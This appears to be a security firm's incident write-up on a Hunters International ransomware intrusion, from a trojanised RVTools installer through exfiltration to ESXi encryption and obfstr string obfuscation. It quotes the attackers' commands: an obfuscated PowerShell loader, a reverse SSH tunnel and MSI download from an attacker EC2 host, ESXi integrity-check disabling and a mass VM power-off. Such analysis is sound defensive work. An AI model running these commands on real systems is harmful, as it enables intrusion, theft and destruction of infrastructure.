Hunters International is a Ransomware-as-a-Service (RaaS) operation that surfaced in October 2023, after acquiring the source code and infrastructure of the late Hive ransomware group. Today, according to publicly available statistics, Hunters International and its affiliates have 'hunted' at least 280 organizations, exfiltrating or encrypting data (or both). This article will describe their capabilities in a ransomware case we encountered, with a focus on the large-scale deployment of a VMWare ESXi encryptor.
First, a bit of history. In January 2023, a joint operation1 between Europol and FBI successfully dismantled the notorious Hive ransomware group. No arrests were made, but their Ransomware-as-a-Service (RaaS) infrastructure was seized and shut down. Then, it appears that Hive group ceased its operations and sold their remaining assets (source code of encryptors and website) to another group, Hunters International. In October 2023, multiple sources determined code overlap between Hunter International and Hive ransomware samples. Hunters International, feeling the need to clarify, declared that they did acquire Hive source codes but are not successors to the group.
Since, this new RaaS group gained importance and compromised hundreds of organizations, focusing more on data exfiltration than encryption. They don't seem to target specific regions or industries, however according to ransomware.live's Hunters International victim world map2, they seem to be avoiding a vast region in Eurasia.
Synacktiv CSIRT observed a compromise involving Hunters International Rust-based ESXi ransomware, a new variant that emerged after summer 2024. This article will describe the main attack steps determined during the investigation, from initial access through malvertising to successful exfiltration and ransomware deployment. We will then dissect their ESXi ransomware sample, as it implements interesting features and obfuscation.
A system administrator downloaded RVTools, a .NET application that interacts with vSphere to list information about virtual machines and general VMware infrastructure3. Unfortunately, the download was performed through a malicious website, promoted through malvertising, resulting in the downloading and execution of a trojanised RVTools.exe
installer, delivering SMOKEDHAM payloads.
SMOKEDHAM is a PowerShell-based C# backdoor that periodically contacts its command and control server to execute Powershell commands. Several reports indicate that it has been used by UNC24654, a RaaS affiliate previously associated with Lockbit and Darkside. Both groups ceased their activities, due to successful law enforcement operations. Could UNC2465 now be an affiliate of Hunters International? The hypothesis is tempting, but it could also be another affiliate using the same techniques.
The trojanised RVTools installer embeds a NSIS script SETUP.nsis
. The main steps are:
RVTools.msi
installerUpdateFull.7z
and copying files to C:\ProgramData\Microsoft\LogUpdateWindows
and C:\ProgramData\Microsoft\WindowsUpdate24
:
C:\ProgramData\Microsoft\WindowsUpdate24
:
oleview.exe
: legitimate Microsoft program5 loading aclui.dll
aclui.dll
: malicious DLL loading SMOKEDHAM payload from kautix2aeX.t
aclui-2.dll
: malicious DLL loading second SMOKEDHAM payload from C:\ProgramData\Microsoft\LogUpdateWindows\Wiaphoh7um.t
kautix2aeX.t
: SMOKEDHAM payloadRVTools.msi
: legitimate RVTools installer version 2.6.1Cert.txt
: empty file used as mutexC:\ProgramData\Microsoft\LogUpdateWindows
:
oleview.exe
: legitimate Microsoft program loading aclui.dll
aclui.dll
: same file as C:\ProgramData\Microsoft\WindowsUpdate24\aclui-2.dll
Wiaphoh7um.t
: second SMOKEDHAM payloadUpdateOleview
to HKLM Run
key, executing oleview.exe
from LogUpdateWindows
folder.C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exe
before exiting.Once oleview.exe
is executed, it loads the malicious aclui.dll
file. This DLL calls its ExecuteScript
export function to execute the following Powershell command (carriage returns added for clarity):
powershell.exe -windowstyle Hidden -command "SV 4p 'Net.WebClient';
Set-Variable n 'C:\ProgramData\Microsoft\WindowsUpdate24\kautix2aeX.t';
dir ect*;
Set-Item Variable:/W (.(Variable Ex*xt).Value.InvokeCommand.GetCommand((Variable Ex*xt).Value.InvokeCommand.(((Variable Ex*xt).Value.InvokeCommand|Get-Member|?{$_.Name-ilike'*Com*e'}).Name).Invoke('N*ct',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)(Get-Variable 4p -Valu));
SV IXq ((((Variable W).Value|Get-Member)|?{$_.Name-ilike'D*g'}).Name);
(Variable W).Value.((LS Variable:\IXq).Value).Invoke((GCI Variable:/n).Value)|.(Variable Ex*xt).Value.InvokeCommand.GetCmdlet((Variable Ex*xt).Value.InvokeCommand.(((Variable Ex*xt).Value.InvokeCommand|Get-Member|?{$_.Name-ilike'*Com*e'}).Name).Invoke('*e-*press*',1,$TRUE));"
This obfuscated PowerShell command actually executes:
Net.WebClient.DownloadString("C:\ProgramData\Microsoft\WindowsUpdate24\kautix2aeX.t") | Invoke-Expression
It loads and executes the content of the kautix2aeX.t
file.
The kautix2aeX.t
file contains the C# source code of SMOKEDHAM backdoor, which is stored in encrypted PowerShell variable. The Wiaphoh7um.t
file, triggered through Run key value UpdateOleview
, also contains C# source code of SMOKEDHAM backdoor, but with different Command and Control hostnames.
We will not delve deeper into this backdoor in this article, as TRAC Labs already published an excellent article6 in November 2024, extensively describing the same infection chain:
The purpose of the SMOKEDHAM backdoor is to periodically receive commands from Cloudflare worker domains (*.workers.dev
), which actually serve to mask the true command and control server behind them.
At this point, the system administrator's laptop was fully compromised. A few minutes after the successful delivery of SMOKEDHAM (no pun intended), an employee monitoring tool called Grabber was installed using the grem.msi
file. The MSI installer creates a new service, called ngs
, to make the Grabber agent persistent:
AccountName: LocalSystem
ImagePath: C:\Program Files\TeleLinkSoftHelper\bin\grabber.exe
ServiceName: ngs
ServiceType: user mode service
StartType: auto start
This is the first time we see such legitimate tool employed by attackers. According to the publisher KickIdler7, Grabber can:
What could go wrong with this kind of tool? In that scenario, attackers most likely leveraged KickIdler Grabber's interesting features to spy on this administrator for weeks, performing reconnaissance and credential harvesting. After LOLRMM8, let's create a LOLREM for Remote Employee Monitoring tools! KickIdler Grabber is certainly a great candidate.
Regarding traces, logs are generated in C:\Program Files\TeleLinkSoftHelper\log
, but they do not reveal much information about the actions performed remotely. Grabber deserves a dedicated forensic-oriented article, as it is likely used in other intrusions.
Weeks after compromising the admin workstation, the attackers decided to migrate to internal servers. To perform lateral movement, they used Kitty9 – an SSH client utility, a sibling of PuTTY – renamed fork.exe
and placed in C:\ProgramData\forw
. A reverse SSH tunnel was set up to an attacker-controlled AWS EC2 server, allowing them to initiate RDP connections to unexposed servers through the workstation:
powershell.exe -windowstyle hidden C:\programdata\forw\fork.exe -auto-store-sshkey -i C:\programdata\forw\aserkey.ppk -R 3340:10.10.11.12:3389 -l randusername -P 443 ec2-....us-east-2.compute.amazonaws.com
The Kitty command-line options are the same as those of an SSH client utility. The IP address, remote username, and EC2 domain have been redacted. The PuTTY Private key (PPK) file is used to authenticate the workstation to the EC2 server. The following diagram illustrates the purpose of this reverse SSH tunnel:
A few minutes later, the attackers initiated an RDP connection on the server using the local Administrator account. Forensics tip: on the targeted Windows server, the Microsoft-Windows-TerminalServices-LocalSessionManager
event ID 21 indicates connection from the admin workstation, but the associated Security event ID 4624 (type 3) shows the attacker's workstation name, not the administrator's.
Channel: Microsoft-Windows-TerminalServices-LocalSessionManager/Operational
EventID: 21 # RDP Connection
Address: <admin workstation IP address>
SessionID: 2
User: CRITICAL_SERVER\Administrator
Channel: Security
EventID: 4624 # Successful logon
IpAddress: <admin workstation IP address>
LogonType: 3 # Remote
TargetDomainName: CRITICAL_SERVER
TargetUserName: Administrator
WorkstationName: DESKTOP-35SS9C8 # Attacker's side workstation
During the first RDP session, the SMOKEDHAM backdoor was installed in C:\ProgramData\Microsoft\LogUpdateWindows
to ensure remote control. The RUN key value UpdateWindowsKey
, running oleview.exe
, is set for persistence. The RDP session ends shortly after.
After this session, we observed that the admin workstation was no longer used by the attackers, as they had pivoted to a more valuable target. Using SMOKEDHAM backdoor, Kitty was installed and used in the same way as before, to initiate RDP connections locally and to other internal servers.
A few days later, Grabber was installed on the server using the following command:
$clients2 = new-object System.Net.WebClient;
$clients2.DownLoadFile('http://ec2-....us-east-2.compute.amazonaws.com/9bjJ1bD1JR/grabberEM.x64%281%29.msi',"C:\ProgramData\grem.msi");
C:\Windows\System32\msiexec.exe /i C:\ProgramData\grem.msi /l*x c:\programdata\log.txt /quiet
The EC2 instance hosting the Grabber MSI file is the same as the one used to receive the SSH connection.
Finally, Splashtop Remote Service10, a remote monitoring and management (RMM) tool, was also installed using the same technique. It was probably set up as a remote access fallback method, as no evidence of its use was observed.
Two weeks after lateral movement on CRITICAL_SERVER, the attackers initiated an RDP connection to the corporate file server and installed Total Commander11, a file management utility. Shellbags showed evidence that Total Commander was used to browse several file shares hosted by the server. Moreover, its 7zip plugin was used to archive most of the shares.
A few hours later, WinSCP Portable was downloaded and executed to exfiltrate the archives to a remote server. The exfiltration server's domain could not be determined as the attackers removed the WinSCP folder after the exfiltration. However, traces show that they authenticated to the exfiltration server using a PuTTY Private Key named files_amazon_ser(1).ppk
, which could indicate SFTP exfiltration to an AWS S3 bucket. This would be consistent with the use of the EC2 instance earlier in the attack.
After the successful exfiltration, attackers removed the archives.
The day following the exfiltration, the attackers began deploying ransomware, targeting VMware infrastructure. On CRITICAL_SERVER. The following sequential actions were observed:
WinSCP-6.3.6-Automation.zip
archive (paste from RDP), unzipped in new C:\ProgramData\worklab1\work_winscp
folder. WinSCP Automation12 provides .NET interface for scripting purposes.ip_list.txt
: contains domains and IP addresses of ESXi hypervisorsenc64
: ESXi ransomwarefull_1.ps1
: PowerShell script deploying enc64 to hypervisor listInstall-Module -Name VMware.PowerCLI
full_1.ps1
deployment scriptThe 400-line (with comments!) full_1.ps1
PowerShell script leverages VMware PowerCLI to programmatically interact with ESXi servers through vCenter and uses WinSCP Automation's scripting capabilities to copy and execute the ransomware via SSH:
Connect-VIServer
ip_list.txt
WinSCP-6.3.6-Automation\WinSCPnet.dll
to use WinSCP's scripting capabilitiesTSM-SSH
service on the ESXi server : Get-VMHostService -VMHost $vmHost | Where-Object { $_.Key -eq "TSM-SSH" } | Start-VMHostService
enc64
to remote /usr/enc64
using WinSCP.Session
cmdletesxcli system settings advanced set -o /User/execInstalledOnly -i 0
: disables the integrity check of programs that should be executed.chmod 777 /usr/enc64
: grants full rights to /usr/enc64
to ensure execution capability/usr/enc64 -w $(Get-Seconds-To-UTC -TargetUTCTime $TargetUTCTime) > /dev/null 2>&1 &
: delayed ransomware execution. The ransomware was scheduled to run a day later at midnight./usr/command_output.log
. The script ends by downloading and remotely removing this file.The script combined and generated logs locally in the file C:\ProgramData\worklab1\work_winscp\combined_logs.txt
, which were not removed after the deployment. During the investigation, these logs provided valuable information on the impacted ESXi servers and the executed commands.
Manual deployment of the ESXi ransomware was also determined, this time using the PuTTY13 utility.
Finally, the attackers ended their RDP session on CRITICAL_SERVER, marking their last operation on the compromised infrastructure.
SHA256 |
|
---|---|
File type | ELF 64-bit LSB pie executable, x86-64 |
File size | 704984 bytes |
Threat | ESXi ransomware |
The sample is a Rust-based stripped executable that contains few symbols, except for some strings revealing the use of crossterm14 crate. The source project path of this encryptor can also be retrieved, hinting at its potential behaviour: vmware_encrypt/src/main.rs
. All strings used in the code are obfuscated. Two other similar samples have been tagged and reported by the malware researcher rivitna15:
fd84d3b96139d386d3d182ff3571e7dce8a7edaebfed3f432c71c4d8b69bd63f
acbb316b2cbfdd4311ba884f4fb721a022c9b1e413dd910986f149bdffa784d3
Our analysis suggests that the developers likely implemented obfstr
Rust crate16 to obfuscate string constants at compile time. While there is no explicit mention to this crate in the sample, the way obfuscated strings are recovered in the code closely mirrors the algorithm used in obfstr
.
In practice, obfuscating string constants with obfstr
is straightforward:
use obfstr::obfstr as s;
s!("This string is obfuscated at compile time and deobfuscated right before its use in the code");
This compile-time obfuscation technique first uses XOR-based encryption with a pseudo-random key generated from a seed. The key stream is created at compile-time, and the string is obfuscated by XORing the bytes of the string with the bytes of the key stream. Next, pointer obfuscation is applied to the XOR-encrypted string, using pseudo-random offset and operations selected from a pseudo-random seed, thereby protecting its static reference in the binary.
The main steps of the obfuscation algorithm implemented in obfstr!
(or obfbytes!
) macro are the following:
pointer = pointer - obfuscate(seed,offset) + obfuscate(seed,offset)
. This seemingly useless operation actually makes the pointer obfuscation in two parts:
obfuscated_pointer = pointer - obfuscate(seed,offset)
: the result value is solved at compile-timepointer = obfuscated_pointer + obfuscate(seed,offset)
: solved at runtimeobfuscate(seed,offset)
function: Performs five randomly selected operations (based on the seed) to obfuscate the random offset and returns its two last significant bytes (probably to avoid negative pointer value). Before each operation, bit-mixing is applied to the seed. Eight different operations can be selected, simplified below. :
offset + seed
seed - offset
offset ^ seed
offset ^ Rol(offset, seed&7)
Not(offset)
offset ^ (offset >> seed)
offset * seed
Neg(offset)
deobfuscate
function retrieves the static reference to the XOR-encrypted string (by calculating pointer = obfuscated_pointer + obfuscate(seed,offset)
), then applies the XOR operation again using the same key stream, effectively reversing the obfuscation and obtaining the original string.To prevent LLVM instruction optimizations and constant folding, which could undermine the effectiveness of the obfuscation, the Rust compiler's hint hint::black_box
and the std::ptr::read_volatile
function are also used.
Below is an example of the resulting disassembly and decompiled code when recovering a specific string:
In this example, 0x7b7c3
(located at loc_7b7bd+6
) is the obfuscated reference, and 0x2AB068
references the random 64-bit offset value (0x9D1EE61086BA243B
). We can see that operations are performed on the offset, and the result is then added to the obfuscated pointer value. The resulting pointer is dereferenced to retrieve the XOR-encrypted string, which is then XOR-ed with the hardcoded key stream to obtain /vmfs/volumes
.
The recovered strings are not stored in a global structure and are mostly only accessibly within the scope of a function (in accordance with Rust's ownership principles), making it more difficult to extract each string during debugging.
Since this is a Rust stripped program, there is limited extractable information. Therefore, string recovery becomes crucial to understand the different parts of the program. Additionally, we quickly determined that the sample contained around 200 obfuscated strings, as the random offsets used in pointer obfuscation are stored sequentially at the beginning of the DATA
segment:
This valuable table enabled us to retrieve all references to obfuscated strings in the code, providing a starting point for automatically recovering plain-text strings. We developed a quick and dirty Python script that uses:
While far from perfect, this script enabled us to recover most of the obfuscated strings without executing the sample.
This process allowed us to jump on relevant pieces of code and determine its behaviour.
The following sequential behaviour of the ESXi ransomware was determined:
-t, -threads, --threads | Specify a number of threads |
-w, -wait, --wait | Wait N seconds |
-E, -no-erase, --no-erase | Avoid erasing free space |
-S, -no-stop, --no-stop | Do not stop the virtual machines |
Stopping VMs: If the no stop flag is not set, the encryptor stops the VMs by executing the following vim-cmd
(vSphere command line interface) command:
vim-cmd vmsvc/getallvms 2>/dev/null | grep -o -E '^[0-9]+' | xargs -r -n 1 vim-cmd vmsvc/power.off 1>/dev/null 2>/dev/null
/vmfs/volumes
, which is the default location for VM files on VMware ESXi. The scan looks for the following file extensions:
vmx | vmdk | vmss |
vmx~ | vmxf | vswp |
nvram | vmem | vmtx |
vmsd | vmsn | scoreboard |
4 random bytes + 37AAB83E1AC2D54B15D98D5260A7fD674B
buffer.swp
file in a subdirectory of /vmfs/volumes
and fills it with random data until the partition is full.The following figure illustrates the final encrypted file structure:
During execution, the encryptor displays a user-friendly crossterm
based terminal user interface, showing the current steps, statistics of encrypted files, and potential errors:
No ransom note is dropped on the system nor printed.
As the Hunters International RaaS group has amassed a significant number of hunting trophies since October 2023 (280 as of this writing), we wanted to share insights into the TTPs employed by its affiliates during a compromise.
The SMOKEDHAM backdoor, delivered through malvertising, is an interesting technique for gaining initial access. It appears to be distributed via fake installers for administration tools like RVTools, Angry IP Scanner and DBeaver. This strategy undoubtedly targets system and network administrators, who have legitimate access to critical corporate resources.
We observed two custom tools used in the attack: the ESXi ransomware and its accompanying PowerShell deployment script. The deployment script leverages VMware PowerCLI and WinSCP Automation to enable the SSH service on ESXi servers, deploy the ransomware, and execute it. The capabilities of the Hunter International ESXi ransomware are quite similar to other ESXi encryptors: it stops virtual machines, encrypts them, and then fills the free disks space on the hypervisor. Available options allow fine-tuning of the execution process, such as setting a timer (-w
).
The developers of this ESXi ransomware strain took notable steps to protect their code from reverse engineering. They first used the Rust programming language and stripped the symbols during compilation (using the strip
cargo option). Additionally, they implemented the open-source crate obfstr
, which effectively obfuscates strings used in the Rust project. This obfuscation makes it challenging to discover the original strings through automated analysis. Given how straightforward it is to obfuscate strings with obfstr
, I wouldn't be surprised if other Rust-based malware developers adopted this approach.
Main observed tools and infrastructure used by the threat actor:
Main events and traces (that we could use) showing evidence of compromise:
Microsoft\Windows\CurrentVersion\Uninstall
Software\Microsoft\Windows\Shell\BagMRU
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\ControlSet001\Services\ngs
and HKLM\ControlSet001\Services\SplashtopRemoteService
auth.log
: authentication logs (method, source IP/port, user)esxcli.log
: executed commands with esxcli utility (mostly errors)shell.log
: SSH login evidence and shell executed commands (execution proof of the ransomware)vpxa.log
: vpxa17 is an intermediary service connecting vCenter and the ESXi host. These logs contained the change of TSM-SSH
service status from stopped to running.stat
commandIf any organization requires assistance in doubt removal or responding to a compromise, please feel free to contact Synacktiv.